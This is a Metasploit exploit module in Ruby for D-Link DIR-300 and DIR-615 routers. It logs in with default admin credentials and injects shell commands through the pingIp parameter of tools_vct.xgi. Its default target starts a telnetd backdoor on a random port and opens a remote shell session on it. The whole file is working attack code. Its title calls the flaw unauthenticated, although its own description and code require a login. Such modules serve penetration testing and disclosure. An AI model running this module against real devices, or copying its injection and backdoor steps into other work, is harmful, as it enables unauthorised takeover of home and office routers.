D-Link Devices Unauthenticated Remote Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::CommandShell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',  
'Description' => %q{  
Different D-Link Routers are vulnerable to OS command injection via the web  
interface. The vulnerability exists in tools_vct.xgi, which is accessible with  
credentials. This module has been tested with the versions DIR-300 rev A v1.05  
and DIR-615 rev D v4.13. Two target are included, the first one starts a telnetd  
service and establish a session over it, the second one runs commands via the CMD  
target. There is no wget or tftp client to upload an elf backdoor easily. According  
to the vulnerability discoverer, more D-Link devices may affected.  
},  
'Author' =>  
[  
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module  
'juan vazquez' # minor help with msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '92698' ],  
[ 'EDB', '25024' ],  
[ 'BID', '59405' ],  
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ]  
],  
'DisclosureDate' => 'Apr 22 2013',  
'Privileged' => true,  
'Platform' => ['linux','unix'],  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Targets' =>  
[  
[ 'CMD', #all devices  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
}  
],  
[ 'Telnet', #all devices - default target  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'unix'  
}  
],  
],  
'DefaultTarget' => 1  
))  
  
register_options(  
[  
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']),  
  
], self.class)  
end  
  
def exploit  
user = datastore['USERNAME']  
  
if datastore['PASSWORD'].nil?  
pass = ""  
else  
pass = datastore['PASSWORD']  
end  
  
test_login(user, pass)  
  
if target.name =~ /CMD/  
exploit_cmd  
else  
exploit_telnet  
end  
end  
  
def test_login(user, pass)  
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")  
  
login_path = "/login.php"  
  
#valid login response includes the following  
login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>"  
  
begin  
res = send_request_cgi({  
'uri' => login_path,  
'method' => 'POST',  
'vars_post' => {  
"ACTION_POST" => "LOGIN",  
"LOGIN_USER" => "#{user}",  
"LOGIN_PASSWD" => "#{pass}",  
"login" => "+Log+In+"  
}  
})  
if res.nil?  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")  
end  
if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")  
end  
if (res.code == 404)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")  
end  
  
if (res.body) =~ /#{login_check}/  
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")  
else  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")  
end  
  
rescue ::Rex::ConnectionError  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")  
end  
end  
  
def exploit_cmd  
if not (datastore['CMD'])  
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")  
end  
res = request(payload.encoded)  
if (!res or res.code != 302 or res.headers['Server'].nil? or res.headers['Server'] !~ /Alpha_webserv/)  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")  
end  
  
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n")  
return  
end  
  
def exploit_telnet  
telnetport = rand(65535)  
  
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")  
  
cmd = "telnetd -p #{telnetport}"  
  
#starting the telnetd gives no response  
request(cmd)  
  
begin  
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })  
  
if sock  
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")  
add_socket(sock)  
else  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")  
end  
  
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"  
auth_info = {  
:host => rhost,  
:port => telnetport,  
:sname => 'telnet',  
:user => "",  
:pass => "",  
:source_type => "exploit",  
:active => true  
}  
report_auth_info(auth_info)  
merge_me = {  
'USERPASS_FILE' => nil,  
'USER_FILE' => nil,  
'PASS_FILE' => nil,  
'USERNAME' => nil,  
'PASSWORD' => nil  
}  
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)  
rescue  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")  
end  
return  
end  
  
def request(cmd)  
  
uri = '/tools_vct.xgi'  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'vars_get' => {  
'set/runtime/switch/getlinktype' => "1",  
'set/runtime/diagnostic/pingIp' => "`#{cmd}`",  
'pingIP' => ""  
},  
'method' => 'GET',  
})  
return res  
rescue ::Rex::ConnectionError  
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")  
end  
end  
end  
`